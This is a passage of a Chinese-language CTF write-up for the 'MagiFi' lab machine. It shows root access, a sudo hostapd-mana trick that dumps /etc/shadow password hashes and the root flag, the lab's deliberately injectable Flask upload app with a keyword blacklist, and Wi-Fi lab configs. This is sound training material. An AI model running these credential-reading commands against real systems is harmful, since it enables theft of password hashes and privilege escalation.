src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250622232723808\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6267\u884c\u4e86\u4e24\u6b21\u624d\u6210\u529f\uff0c\u4f46\u7ec8\u5f52\u63d0\u6743\u6210\u529f\u4e86\uff01\uff01\uff01\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-bash\">root@MagiFi:~# cd \/root\nroot@MagiFi:\/root# ls -la\ntotal 40\ndrwx------  7 root root 4096 Feb 13 06:39 .\ndrwxr-xr-x 19 root root 4096 Sep 25  2024 ..\nlrwxrwxrwx  1 root root    9 Sep 25  2024 .bash_history -&gt; \/dev\/null\n-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc\ndrwx------  3 root root 4096 Sep 25  2024 .docker\n-rw-r--r--  1 root root    0 Sep 26  2024 .hushlogin\ndrwxr-xr-x  3 root root 4096 Feb  4 10:02 .local\n-rw-r--r--  1 root root  161 Dec  5  2019 .profile\n-rw-r-----  1 root root   43 Feb  4 10:05 root_flag_as5df.txt\ndrwx------  3 root root 4096 Sep 25  2024 snap\ndrwxr-xr-x  2 root root 4096 Feb 13 07:31 Sources\ndrwxr-xr-x  4 root root 4096 Sep 25  2024 Wifi_Docker\nroot@MagiFi:\/root# cat root_flag_as5df.txt\nhogwarts{5ed0818c0181fe97f744d7b1b51dd9c7}<\/code><\/pre>\n<h4>\u65b9\u6cd5\u4e8c\uff1ahostapd-mana<\/h4>\n<p>\u53ef\u4ee5\u770b\u5230<code>-d   show more debug messages (-dd for even more)<\/code>\u53ef\u4ee5\u8f93\u51fa\u8be6\u7ec6\u7684\u8c03\u8bd5\u4fe1\u606f\uff0c\u53ef\u4ee5\u7528\u8fd9\u4e2a\u5305\u542b\u76ee\u6807\uff0c\u6bd4\u5982flag\uff0cshadow\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) harry_potter@MagiFi:\/home\/harry_potter$ sudo hostapd-mana -dd \/etc\/shadow\nrandom: Trying to read entropy from \/dev\/random\nConfiguration file: \/etc\/shadow\nLine 1: invalid line &#039;root:$6$KflwZsO6c4DW8laq$AVs2hfT9i1calD.V6aKIr5Wej26J1tjgSz5R674SSJDuWvX1RWqHYw79Q.OIqeIlhl0ksI7UJ7d0YHJp4F.J81:19993:0:99999:7:::&#039;\nLine 2: invalid line &#039;daemon:*:19430:0:99999:7:::&#039;\nLine 3: invalid line &#039;bin:*:19430:0:99999:7:::&#039;\nLine 4: invalid line &#039;sys:*:19430:0:99999:7:::&#039;\nLine 5: invalid line &#039;sync:*:19430:0:99999:7:::&#039;\nLine 6: invalid line &#039;games:*:19430:0:99999:7:::&#039;\nLine 7: invalid line &#039;man:*:19430:0:99999:7:::&#039;\nLine 8: invalid line &#039;lp:*:19430:0:99999:7:::&#039;\nLine 9: invalid line &#039;mail:*:19430:0:99999:7:::&#039;\nLine 10: invalid line &#039;news:*:19430:0:99999:7:::&#039;\nLine 11: invalid line &#039;uucp:*:19430:0:99999:7:::&#039;\nLine 12: invalid line &#039;proxy:*:19430:0:99999:7:::&#039;\nLine 13: invalid line &#039;www-data:*:19430:0:99999:7:::&#039;\nLine 14: invalid line &#039;backup:*:19430:0:99999:7:::&#039;\nLine 15: invalid line &#039;list:*:19430:0:99999:7:::&#039;\nLine 16: invalid line &#039;irc:*:19430:0:99999:7:::&#039;\nLine 17: invalid line &#039;gnats:*:19430:0:99999:7:::&#039;\nLine 18: invalid line &#039;nobody:*:19430:0:99999:7:::&#039;\nLine 19: invalid line &#039;systemd-network:*:19430:0:99999:7:::&#039;\nLine 20: invalid line &#039;systemd-resolve:*:19430:0:99999:7:::&#039;\nLine 21: invalid line &#039;systemd-timesync:*:19430:0:99999:7:::&#039;\nLine 22: invalid line &#039;messagebus:*:19430:0:99999:7:::&#039;\nLine 23: invalid line &#039;syslog:*:19430:0:99999:7:::&#039;\nLine 24: invalid line &#039;_apt:*:19430:0:99999:7:::&#039;\nLine 25: invalid line &#039;tss:*:19430:0:99999:7:::&#039;\nLine 26: invalid line &#039;uuidd:*:19430:0:99999:7:::&#039;\nLine 27: invalid line &#039;tcpdump:*:19430:0:99999:7:::&#039;\nLine 28: invalid line &#039;landscape:*:19430:0:99999:7:::&#039;\nLine 29: invalid line &#039;pollinate:*:19430:0:99999:7:::&#039;\nLine 30: invalid line &#039;fwupd-refresh:*:19430:0:99999:7:::&#039;\nLine 31: invalid line &#039;usbmux:*:19991:0:99999:7:::&#039;\nLine 32: invalid line &#039;sshd:*:19991:0:99999:7:::&#039;\nLine 33: invalid line &#039;systemd-coredump:!!:19991::::::&#039;\nLine 34: invalid line &#039;lxd:!:19991::::::&#039;\nLine 35: invalid line &#039;freerad:*:19991:0:99999:7:::&#039;\nLine 36: invalid line &#039;rubeus.hagrid:!:19991:0:99999:7:::&#039;\nLine 37: invalid line &#039;albus.dumbledore:!:19991:0:99999:7:::&#039;\nLine 38: invalid line &#039;minerva.mcgonagall:!:19991:0:99999:7:::&#039;\nLine 39: invalid line &#039;tom.riddle:$6$l2y72YLXF2tIL.rC$d3SQEKFlGu9wi\/omLDmHJYGP3uRSD9t2hnRTqveIMOHG8pa80Ku81d3kbfXZy0bpC2PRp9xLqE7IQi3EQ4bf1\/:19991:0:99999:7:::&#039;\nLine 40: invalid line &#039;harry_potter:$6$Cu5tGqfYYF\/NWp6f$bLb5lfce4bMH10OYBG27nYBoMTMciI9NOxIR2XGliWIhzHE2iU0kS1ZKuSNPnYRS\/y12jnt4jmr8pMfDsRicK1:19993:0:99999:7:::&#039;\n40 errors found in configuration file &#039;\/etc\/shadow&#039;\nFailed to set up interface with \/etc\/shadow\nhostapd_init: free iface 0x55fb23a8e340\nFailed to initialize interface<\/code><\/pre>\n<p>\u4f46\u662f\u8bfb\u4e0d\u4e86flag\uff0c\u56e0\u4e3a\u4f5c\u8005\u4fee\u590d\u4e86\u8fd9\u4e2a\u3002\u3002\u3002\u3002\u3002\u5982\u679c\u505a\u5b8c\u65b9\u6cd5\u4e00\u5c31\u80fd\u770b\u5230\uff0c\u6700\u540e\u7684\u6587\u4ef6\u540d\u4e3a<code>root_flag_as5df.txt<\/code>\u3002\u3002\u3002\u3002\u3002\u5305\u62ec\u63d0\u6743\u6587\u4ef6\u4e5f\u589e\u52a0\u4e86\u4e00\u4e9b\u9650\u5236\u6761\u4ef6\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-bash\">harry_potter@MagiFi:~$ sudo \/usr\/bin\/hostapd-mana -dd \/root\/root_flag_as5df.txt\nrandom: Trying to read entropy from \/dev\/random\nConfiguration file: \/root\/root_flag_as5df.txt\nLine 1: invalid line &#039;hogwarts{5ed0818c0181fe97f744d7b1b51dd9c7}&#039;\n1 errors found in configuration file &#039;\/root\/root_flag_as5df.txt&#039;\nFailed to set up interface with \/root\/root_flag_as5df.txt\nhostapd_init: free iface 0x5629962f3340\nFailed to initialize interface<\/code><\/pre>\n<p>\u81f3\u6b64\uff0c\u9776\u673a\u6d4b\u8bd5\u7ec8\u4e8e\u7ed3\u675f\uff0c\u611f\u8c22<code>@x4v1l0k<\/code>\u548c<code>@M4rdc0re<\/code>\u4e24\u4f4d\u5e08\u5085\u53d1\u5e03\u7684\u9776\u673a\uff0c\u771f\u7684\u5b66\u5230\u4e86\u5f88\u591a\uff0cwifi\u6e17\u900f\u6d4b\u8bd5\u4e5f\u662f\u4e00\u4e2a\u5f88\u723d\u7684\u9886\u57df\u554a\uff01\uff01\uff01\uff01<\/p>\n<h2>\u4e00\u4e9b\u989d\u5916\u4fe1\u606f<\/h2>\n<h3>app.js<\/h3>\n<pre><code class=\"language-python\">(remote) harry_potter@MagiFi:\/home\/harry_potter\/Hogwarts_web$ cat app.py \nfrom flask import Flask, render_template, render_template_string, request, redirect, url_for, flash\nimport os\nimport re\nimport uuid\nimport pdfplumber\n\napp = Flask(__name__)\napp.secret_key = &#039;8e9f5ba2f424b0d534db997d2ece45b2&#039;\nUPLOAD_FOLDER = &#039;uploads\/&#039;\napp.config[&#039;UPLOAD_FOLDER&#039;] = UPLOAD_FOLDER\n\n@app.before_request\ndef enforce_host():\n    if request.host != &#039;hogwarts.htb&#039;:\n        return redirect(&#039;http:\/\/hogwarts.htb&#039;)\n\ndef remove_blacklisted_words(text, blacklist):\n    for word in blacklist:\n        text = text.replace(word, &#039;&#039;)\n    return text\n\n@app.route(&#039;\/&#039;)\ndef index():\n    return render_template(&#039;index.html&#039;)\n\n@app.route(&#039;\/upload&#039;, methods=[&#039;POST&#039;])\ndef upload_file():\n    blacklist = [&#039;&lt;&#039;, &#039;+&#039;, &#039;popen&#039;, &#039;system&#039;, &#039;exec&#039;, &#039;eval&#039;, &#039;os&#039;, &#039;subprocess&#039;, &#039;read&#039;]\n    if &#039;pdf_file&#039; not in request.files:\n        flash(&#039;No file part&#039;)\n        return redirect(request.url)\n\n    file = request.files[&#039;pdf_file&#039;]\n    if file.filename == &#039;&#039;:\n        flash(&#039;No selected file&#039;)\n        return redirect(request.url)\n\n    if file and file.filename.endswith(&#039;.pdf&#039;):\n        random_filename = str(uuid.uuid4()) + &#039;.pdf&#039;\n        filepath = os.path.join(app.config[&#039;UPLOAD_FOLDER&#039;], random_filename)\n        file.save(filepath)\n\n        with pdfplumber.open(filepath) as pdf:\n            text = &#039;&#039;\n            for page in pdf.pages:\n                text += page.extract_text()\n\n            try:\n                name = re.search(r&quot;Name: ([\\w\\W]+)Surname: &quot;, text, re.MULTILINE).group(1).strip().replace(&quot;\\n&quot;, &quot;&quot;)\n            except:\n                name = &quot;&quot;\n\n            try:\n                surname = re.search(r&quot;Surname: ([\\w\\W]+)Address: &quot;, text, re.MULTILINE).group(1).strip().replace(&quot;\\n&quot;, &quot;&quot;)\n            except:\n                surname = &quot;&quot;\n\n            try:\n                address = re.search(r&quot;Address: ([\\w\\W]+)Birthday: &quot;, text, re.MULTILINE).group(1).strip().replace(&quot;\\n&quot;, &quot;&quot;)\n            except:\n                address = &quot;&quot;\n\n            try:\n                birthday = re.search(r&quot;Birthday: ([\\w\\W]+)Pet breed: &quot;, text, re.MULTILINE).group(1).strip().replace(&quot;\\n&quot;, &quot;&quot;)\n            except:\n                birthday = &quot;&quot;\n\n            try:\n                pet_breed = re.search(r&quot;Pet breed: ([\\w\\W]+)Pet\u2019s Name: &quot;, text, re.MULTILINE).group(1).strip().replace(&quot;\\n&quot;, &quot;&quot;)\n            except:\n                pet_breed = &quot;&quot;\n\n            try:\n                pet_name = re.search(r&quot;Pet[\u2019&#039;]s Name: ([\\w\\W]+)&quot;, text, re.MULTILINE).group(1).strip().replace(&quot;\\n&quot;, &quot;&quot;)\n            except:\n                pet_name = &quot;&quot;\n\n        os.remove(filepath)\n\n        template = &#039;&#039;&#039;\n        &lt;!DOCTYPE html&gt;\n        &lt;html lang=&quot;en&quot;&gt;\n            &lt;head&gt;\n                &lt;meta charset=&quot;UTF-8&quot;&gt;\n                &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;\n                &lt;title&gt;Confirmation&lt;\/title&gt;\n                &lt;link rel=&quot;stylesheet&quot; href=&quot;\/static\/style.css&quot;&gt;\n\n                &lt;link rel=&quot;apple-touch-icon&quot; sizes=&quot;180x180&quot; href=&quot;\/static\/favicon\/apple-touch-icon.png&quot;&gt;\n                &lt;link rel=&quot;icon&quot; type=&quot;image\/png&quot; sizes=&quot;32x32&quot; href=&quot;\/static\/favicon\/favicon-32x32.png&quot;&gt;\n                &lt;link rel=&quot;icon&quot; type=&quot;image\/png&quot; sizes=&quot;16x16&quot; href=&quot;\/static\/favicon\/favicon-16x16.png&quot;&gt;\n                &lt;link rel=&quot;manifest&quot; href=&quot;\/static\/favicon\/site.webmanifest&quot;&gt;\n                &lt;link rel=&quot;mask-icon&quot; href=&quot;\/static\/favicon\/safari-pinned-tab.svg&quot; color=&quot;#5bbad5&quot;&gt;\n                &lt;meta name=&quot;msapplication-TileColor&quot; content=&quot;#da532c&quot;&gt;\n                &lt;meta name=&quot;theme-color&quot; content=&quot;#ffffff&quot;&gt;\n            &lt;\/head&gt;\n            &lt;body&gt;\n                &lt;div class=&quot;content&quot;&gt;\n                    &lt;h1&gt;Application Received&lt;\/h1&gt;\n                    &lt;p&gt;Thank you. Your application to Hogwarts has been successfully submitted with the following data:&lt;\/p&gt;\n                    &lt;p&gt;\n                        &lt;ul&gt;\n                            &lt;li&gt;Name: {}&lt;\/li&gt;\n                            &lt;li&gt;Surname: {}&lt;\/li&gt;\n                            &lt;li&gt;Address: {}&lt;\/li&gt;\n                            &lt;li&gt;Birthday: {}&lt;\/li&gt;\n                            &lt;li&gt;Pet Breed: {}&lt;\/li&gt;\n                            &lt;li&gt;Pet&#039;s Name: {}&lt;\/li&gt;\n                        &lt;\/ul&gt;\n                    &lt;\/p&gt;\n                &lt;\/div&gt;\n            &lt;\/body&gt;\n        &lt;\/html&gt;\n        &#039;&#039;&#039;.format(name, surname, address, birthday, pet_breed, pet_name)\n        try:\n            result = render_template_string(template)\n        except Exception as e:\n            print(e)\n            result = render_template_string(&#039;&#039;&#039;\n            &lt;!DOCTYPE html&gt;\n            &lt;html lang=&quot;en&quot;&gt;\n                &lt;head&gt;\n                    &lt;meta charset=&quot;UTF-8&quot;&gt;\n                    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;\n                    &lt;title&gt;Error in application&lt;\/title&gt;\n                    &lt;link rel=&quot;stylesheet&quot; href=&quot;\/static\/style.css&quot;&gt;\n\n                    &lt;link rel=&quot;apple-touch-icon&quot; sizes=&quot;180x180&quot; href=&quot;\/static\/favicon\/apple-touch-icon.png&quot;&gt;\n                    &lt;link rel=&quot;icon&quot; type=&quot;image\/png&quot; sizes=&quot;32x32&quot; href=&quot;\/static\/favicon\/favicon-32x32.png&quot;&gt;\n                    &lt;link rel=&quot;icon&quot; type=&quot;image\/png&quot; sizes=&quot;16x16&quot; href=&quot;\/static\/favicon\/favicon-16x16.png&quot;&gt;\n                    &lt;link rel=&quot;manifest&quot; href=&quot;\/static\/favicon\/site.webmanifest&quot;&gt;\n                    &lt;link rel=&quot;mask-icon&quot; href=&quot;\/static\/favicon\/safari-pinned-tab.svg&quot; color=&quot;#5bbad5&quot;&gt;\n                    &lt;meta name=&quot;msapplication-TileColor&quot; content=&quot;#da532c&quot;&gt;\n                    &lt;meta name=&quot;theme-color&quot; content=&quot;#ffffff&quot;&gt;\n                &lt;\/head&gt;\n                &lt;body&gt;\n                    &lt;div class=&quot;content&quot;&gt;\n                        &lt;h1&gt;Sorry, there was an error processing your request in the application.&lt;\/h1&gt;\n                        &lt;pre&gt;{}&lt;\/pre&gt;\n                    &lt;\/div&gt;\n                &lt;\/body&gt;\n            &lt;\/html&gt;\n            &#039;&#039;&#039;).format(e)\n\n        return result\n\nif __name__ == &#039;__main__&#039;:\n    app.run(host=&#039;0.0.0.0&#039;,port=80)<\/code><\/pre>\n<h3><a href=\"https:\/\/android.googlesource.com\/platform\/external\/wpa_supplicant_8\/+\/master\/hostapd\/hostapd.eap_user\">hostapd.eap_user<\/a><\/h3>\n<pre><code class=\"language-bash\"># hostapd user database for integrated EAP server\n# Each line must contain an identity, EAP method(s), and an optional password\n# separated with whitespace (space or tab). The identity and password must be\n# double quoted (&quot;user&quot;). Password can alternatively be stored as\n# NtPasswordHash (16-byte MD4 hash of the unicode presentation of the password\n# in unicode) if it is used for MSCHAP or MSCHAPv2 authentication. This means\n# that the plaintext password does not need to be included in the user file.\n# Password hash is stored as hash:&lt;16-octets of hex data&gt; without quotation\n# marks.\n# [2] flag in the end of the line can be used to mark users for tunneled phase\n# 2 authentication (e.g., within EAP-PEAP). In these cases, an anonymous\n# identity can be used in the unencrypted phase 1 and the real user identity\n# is transmitted only within the encrypted tunnel in phase 2. If non-anonymous\n# access is needed, two user entries is needed, one for phase 1 and another\n# with the same username for phase 2.\n#\n# EAP-TLS, EAP-PEAP, EAP-TTLS, EAP-FAST, EAP-SIM, and EAP-AKA do not use\n# password option.\n# EAP-MD5, EAP-MSCHAPV2, EAP-GTC, EAP-PAX, EAP-PSK, and EAP-SAKE require a\n# password.\n# EAP-PEAP, EAP-TTLS, and EAP-FAST require Phase 2 configuration.\n#\n# * can be used as a wildcard to match any user identity. The main purposes for\n# this are to set anonymous phase 1 identity for EAP-PEAP and EAP-TTLS and to\n# avoid having to configure every certificate for EAP-TLS authentication. The\n# first matching entry is selected, so * should be used as the last phase 1\n# user entry.\n#\n# &quot;prefix&quot;* can be used to match the given prefix and anything after this. The\n# main purpose for this is to be able to avoid EAP method negotiation when the\n# method is using known prefix in identities (e.g., EAP-SIM and EAP-AKA). This\n# is only allowed for phase 1 identities.\n#\n# Multiple methods can be configured to make the authenticator try them one by\n# one until the peer accepts one. The method names are separated with a\n# comma (,).\n#\n# [ver=0] and [ver=1] flags after EAP type PEAP can be used to force PEAP\n# version based on the Phase 1 identity. Without this flag, the EAP\n# authenticator advertises the highest supported version and select the version\n# based on the first PEAP packet from the supplicant.\n#\n# EAP-TTLS supports both EAP and non-EAP authentication inside the tunnel.\n# Tunneled EAP methods are configured with standard EAP method name and [2]\n# flag. Non-EAP methods can be enabled by following method names: TTLS-PAP,\n# TTLS-CHAP, TTLS-MSCHAP, TTLS-MSCHAPV2. TTLS-PAP and TTLS-CHAP require a\n# plaintext password while TTLS-MSCHAP and TTLS-MSCHAPV2 can use NT password\n# hash.\n#\n# Arbitrary RADIUS attributes can be added into Access-Accept packets similarly\n# to the way radius_auth_req_attr is used for Access-Request packet in\n# hostapd.conf. For EAP server, this is configured separately for each user\n# entry with radius_accept_attr=&lt;attr_id&gt;[:&lt;syntax:value&gt;] line(s) following\n# the main user entry line.\n# Phase 1 users\n&quot;user&quot;        MD5 &quot;password&quot;\n&quot;test user&quot;   MD5 &quot;secret&quot;\n&quot;example user&quot;    TLS\n&quot;DOMAIN\\user&quot; MSCHAPV2    &quot;password&quot;\n&quot;gtc user&quot;    GTC &quot;password&quot;\n&quot;pax user&quot;    PAX &quot;unknown&quot;\n&quot;pax.user@example.com&quot;    PAX 0123456789abcdef0123456789abcdef\n&quot;psk user&quot;    PSK &quot;unknown&quot;\n&quot;psk.user@example.com&quot;    PSK 0123456789abcdef0123456789abcdef\n&quot;sake.user@example.com&quot;   SAKE    0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef\n&quot;ttls&quot;        TTLS\n&quot;not anonymous&quot;   PEAP\n# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes\n&quot;0&quot;*      AKA,TTLS,TLS,PEAP,SIM\n&quot;1&quot;*      SIM,TTLS,TLS,PEAP,AKA\n&quot;2&quot;*      AKA,TTLS,TLS,PEAP,SIM\n&quot;3&quot;*      SIM,TTLS,TLS,PEAP,AKA\n&quot;4&quot;*      AKA,TTLS,TLS,PEAP,SIM\n&quot;5&quot;*      SIM,TTLS,TLS,PEAP,AKA\n&quot;6&quot;*      AKA&#039;\n&quot;7&quot;*      AKA&#039;\n&quot;8&quot;*      AKA&#039;\n# Wildcard for all other identities\n*       PEAP,TTLS,TLS,SIM,AKA\n# Phase 2 (tunnelled within EAP-PEAP or EAP-TTLS) users\n&quot;t-md5&quot;       MD5 &quot;password&quot;    [2]\n&quot;DOMAIN\\t-mschapv2&quot;   MSCHAPV2    &quot;password&quot;    [2]\n&quot;t-gtc&quot;       GTC &quot;password&quot;    [2]\n&quot;not anonymous&quot;   MSCHAPV2    &quot;password&quot;    [2]\n&quot;user&quot;        MD5,GTC,MSCHAPV2    &quot;password&quot;    [2]\n&quot;test user&quot;   MSCHAPV2    hash:000102030405060708090a0b0c0d0e0f   [2]\n&quot;ttls-user&quot;   TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,TTLS-MSCHAPV2    &quot;password&quot;    [2]\n# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes in phase 2\n&quot;0&quot;*      AKA [2]\n&quot;1&quot;*      SIM [2]\n&quot;2&quot;*      AKA [2]\n&quot;3&quot;*      SIM [2]\n&quot;4&quot;*      AKA [2]\n&quot;5&quot;*      SIM [2]\n&quot;6&quot;*      AKA&#039;   [2]\n&quot;7&quot;*      AKA&#039;   [2]\n&quot;8&quot;*      AKA&#039;   [2]<\/code><\/pre>\n<h3>freeradius<\/h3>\n<pre><code class=\"language-bash\">harry_potter@MagiFi:\/tmp$ ls -la \/etc\/freeradius\/3.0\/certs\ntotal 52\ndrw-r-xr-x 2 freerad freerad 4096 Sep 26  2024 .\ndrwxr-xr-x 9 freerad freerad 4096 Sep 25  2024 ..\n-rw-r-xr-x 1 freerad freerad 2706 Jan  4  2023 bootstrap\n-rw-r-xr-x 1 freerad freerad 1432 Jan  4  2023 ca.cnf\n-rw-r-xr-x 1 freerad freerad 1103 Jan  4  2023 client.cnf\n-rw-r-xr-x 1 freerad freerad 1131 Jan  4  2023 inner-server.cnf\n-rw-r-xr-x 1 freerad freerad 6433 Jan  4  2023 Makefile\n-rw-r-xr-x 1 freerad freerad 8876 Jan  4  2023 README\n-rw-r-xr-x 1 freerad freerad 1627 Jan  4  2023 server.cnf\n-rw-r-xr-x 1 freerad freerad  764 Jan  4  2023 xpextensions\nharry_potter@MagiFi:\/tmp$ cat \/etc\/freeradius\/3.0\/certs\/ca.cnf\n[ ca ]\ndefault_ca              = CA_default\n\n[ CA_default ]\ndir                     = .\/\ncerts                   = $dir\ncrl_dir                 = $dir\/crl\ndatabase                = $dir\/index.txt\nnew_certs_dir           = $dir\ncertificate             = $dir\/ca.pem\nserial                  = $dir\/serial\ncrl                     = $dir\/crl.pem\nprivate_key             = $dir\/ca.key\nRANDFILE                = $dir\/.rand\nname_opt                = ca_default\ncert_opt                = ca_default\ndefault_days            = 60\ndefault_crl_days        = 30\ndefault_md              = sha256\npreserve                = no\npolicy                  = policy_match\ncrlDistributionPoints   = URI:http:\/\/www.example.org\/example_ca.crl\n\n[ policy_match ]\ncountryName             = match\nstateOrProvinceName     = match\norganizationName        = match\norganizationalUnitName  = optional\ncommonName              = supplied\nemailAddress            = optional\n\n[ policy_anything ]\ncountryName             = optional\nstateOrProvinceName     = optional\nlocalityName            = optional\norganizationName        = optional\norganizationalUnitName  = optional\ncommonName              = supplied\nemailAddress            = optional\n\n[ req ]\nprompt                  = no\ndistinguished_name      = certificate_authority\ndefault_bits            = 2048\ninput_password          = whatever\noutput_password         = whatever\nx509_extensions         = v3_ca\n\n[certificate_authority]\ncountryName             = FR\nstateOrProvinceName     = Radius\nlocalityName            = Somewhere\norganizationName        = Example Inc.\nemailAddress            = admin@example.org\ncommonName              = &quot;Example Certificate Authority&quot;\n\n[v3_ca]\nsubjectKeyIdentifier    = hash\nauthorityKeyIdentifier  = keyid:always,issuer:always\nbasicConstraints        = critical,CA:true\ncrlDistributionPoints   = URI:http:\/\/www.example.org\/example_ca.crl\n\nharry_potter@MagiFi:\/tmp$ cat \/etc\/freeradius\/3.0\/certs\/server.cnf\n[ ca ]\ndefault_ca              = CA_default\n\n[ CA_default ]\ndir                     = .\/\ncerts                   = $dir\ncrl_dir                 = $dir\/crl\ndatabase                = $dir\/index.txt\nnew_certs_dir           = $dir\ncertificate             = $dir\/server.pem\nserial                  = $dir\/serial\ncrl                     = $dir\/crl.pem\nprivate_key             = $dir\/server.key\nRANDFILE                = $dir\/.rand\nname_opt                = ca_default\ncert_opt                = ca_default\ndefault_days            = 60\ndefault_crl_days        = 30\ndefault_md              = sha256\npreserve                = no\npolicy                  = policy_match\n\n[ policy_match ]\ncountryName             = match\nstateOrProvinceName     = match\norganizationName        = match\norganizationalUnitName  = optional\ncommonName              = supplied\nemailAddress            = optional\n\n[ policy_anything ]\ncountryName             = optional\nstateOrProvinceName     = optional\nlocalityName            = optional\norganizationName        = optional\norganizationalUnitName  = optional\ncommonName              = supplied\nemailAddress            = optional\n\n[ req ]\nprompt                  = no\ndistinguished_name      = server\ndefault_bits            = 2048\ninput_password          = whatever\noutput_password         = whatever\nreq_extensions          = v3_req\n\n[server]\ncountryName             = FR\nstateOrProvinceName     = Radius\nlocalityName            = Somewhere\norganizationName        = Example Inc.\nemailAddress            = admin@example.org\ncommonName              = &quot;Example Server Certificate&quot;\n\n[ v3_req ]\nbasicConstraints = CA:FALSE\nkeyUsage = nonRepudiation, digitalSignature, keyEncipherment\nsubjectAltName = @alt_names\n\n#  This should be a host name of the RADIUS server.\n#  Note that the host name is exchanged in EAP *before*\n#  the user machine has network access.  So the host name\n#  here doesn&#039;t really have to match anything in DNS.\n[alt_names]\nDNS.1 = radius.example.com\n\n# NAIRealm from RFC 7585\notherName.0 = 1.3.6.1.5.5.7.8.8;FORMAT:UTF8,UTF8:*.example.com<\/code><\/pre>\n<h3>\u65e0\u7ebf\u7f51\u7edc\u6e17\u900f\u6d4b\u8bd5\u90e8\u5206\u4ee3\u7801<\/h3>\n<pre><code class=\"language-bash\">root@MagiFi:\/root# cd Wifi_Docker\/\nroot@MagiFi:\/root\/Wifi_Docker# ls -la\ntotal 20\ndrwxr-xr-x 4 root root 4096 Sep 25  2024 .\ndrwx------ 7 root root 4096 Feb 13 06:39 ..\ndrwxr-xr-x 3 root root 4096 Sep 25  2024 APs\ndrwxr-xr-x 3 root root 4096 Sep 25  2024 Clients\n-rwxr-xr-x 1 root root  260 Sep 25  2024 start_containers.sh\nroot@MagiFi:\/root\/Wifi_Docker# cat start_containers.sh\n#!\/bin\/bash\n\nmodprobe mac80211_hwsim radios=10\n\ndocker run --detach --name aps --rm -it --privileged -v \/lib\/modules:\/lib\/modules --net host wifi_aps\ndocker run --detach --name clients --rm -it --privileged -v \/lib\/modules:\/lib\/modules --net host wifi_clients\nroot@MagiFi:\/root\/Wifi_Docker# cd APs\nroot@MagiFi:\/root\/Wifi_Docker\/APs# ls -la\ntotal 16\ndrwxr-xr-x 3 root root 4096 Sep 25  2024 .\ndrwxr-xr-x 4 root root 4096 Sep 25  2024 ..\ndrwxr-xr-x 3 root root 4096 Sep 25  2024 config\n-rw-r--r-- 1 root root 1632 Sep 26  2024 Dockerfile\nroot@MagiFi:\/root\/Wifi_Docker\/APs# cat Dockerfile \nFROM debian\n\nRUN apt-get update &amp;&amp; DEBIAN_FRONTEND=noninteractive apt-get install -y macchanger sudo iw libcurl4-openssl-dev curl libz-dev module-assistant libssl-dev libnl-genl-3-dev libnl-3-dev pkg-config libsqlite3-dev git hostapd dnsmasq make g++ libnl-3-dev libnl-genl-3-dev wpasupplicant iproute2 net-tools iptables kmod iputils-ping gettext-base wget\n\nRUN mkdir -p \/root\/mgt\/certs\n\nRUN openssl req -new -x509 -days 3650 -keyout \/root\/mgt\/certs\/ca_key.pem \\\n    -out \/root\/mgt\/certs\/ca_cert.pem -nodes \\\n    -subj &quot;\/C=ES\/ST=Madrid\/L=Madrid\/O=Hogwarts\/OU=Hogwarts College\/CN=Hogwarts Certificate Authority\/emailAddress=ca@hogwarts.htb&quot;\n\nRUN openssl genrsa -out \/root\/mgt\/certs\/server_key.pem 2048\n\nRUN openssl req -new -key \/root\/mgt\/certs\/server_key.pem \\\n    -out \/root\/mgt\/certs\/server_csr.pem \\\n    -subj &quot;\/C=ES\/ST=Madrid\/L=Madrid\/O=Hogwarts\/OU=Hogwarts College\/CN=Hogwarts Certificate Authority\/emailAddress=server@hogwarts.htb&quot;\n\nRUN openssl x509 -req -in \/root\/mgt\/certs\/server_csr.pem \\\n    -CA \/root\/mgt\/certs\/ca_cert.pem -CAkey \/root\/mgt\/certs\/ca_key.pem \\\n    -CAcreateserial -out \/root\/mgt\/certs\/server_cert.pem -days 3650\n\nRUN rm \/root\/mgt\/certs\/server_csr.pem\n\nCOPY config\/mgt\/ \/root\/mgt\/\nCOPY config\/wlan_config_aps \/root\/\nCOPY config\/connectINET.sh \/root\/\nCOPY config\/cronAPs.sh \/root\/\nCOPY config\/dnsmasq.conf \/etc\/dnsmasq.conf.tmp\nCOPY config\/interfaces \/etc\/network\/interfaces.tmp\nCOPY config\/ns-inet.sh \/root\/\nCOPY config\/startAPs.sh \/root\/\n\nRUN mv \/usr\/sbin\/hostapd \/usr\/sbin\/hostapd_aps\nRUN sudo apt-get --yes autoremove ; sudo apt-get autoclean ; sudo apt-get clean\n\nCMD [&quot;\/bin\/bash&quot;, &quot;\/root\/ns-inet.sh&quot;]\nroot@MagiFi:\/root\/Wifi_Docker\/APs# cd config\/\nroot@MagiFi:\/root\/Wifi_Docker\/APs\/config# ls -la\ntotal 40\ndrwxr-xr-x 3 root root 4096 Sep 25  2024 .\ndrwxr-xr-x 3 root root 4096 Sep 25  2024 ..\n-rw-r--r-- 1 root root   52 Sep 25  2024 connectINET.sh\n-rwxr-xr-x 1 root root   60 Sep 25  2024 cronAPs.sh\n-rw-r--r-- 1 root root  353 Sep 25  2024 dnsmasq.conf\n-rwxr-xr-x 1 root root  353 Sep 25  2024 interfaces\ndrwxr-xr-x 2 root root 4096 Sep 25  2024 mgt\n-rwxr-xr-x 1 root root 2715 Sep 25  2024 ns-inet.sh\n-rwxr-xr-x 1 root root 1459 Sep 26  2024 startAPs.sh\n-rw-r--r-- 1 root root  305 Sep 25  2024 wlan_config_aps\nroot@MagiFi:\/root\/Wifi_Docker\/APs\/config# cat startAPs.sh\n#!\/bin\/bash\n\n# TODO move to Dockerfile\nenvsubst_tmp (){\n    for F in .\/*.tmp ; do\n        #DO it only first time\n        if [ &quot;$F&quot; != &#039;\/*.tmp&#039; ]; then 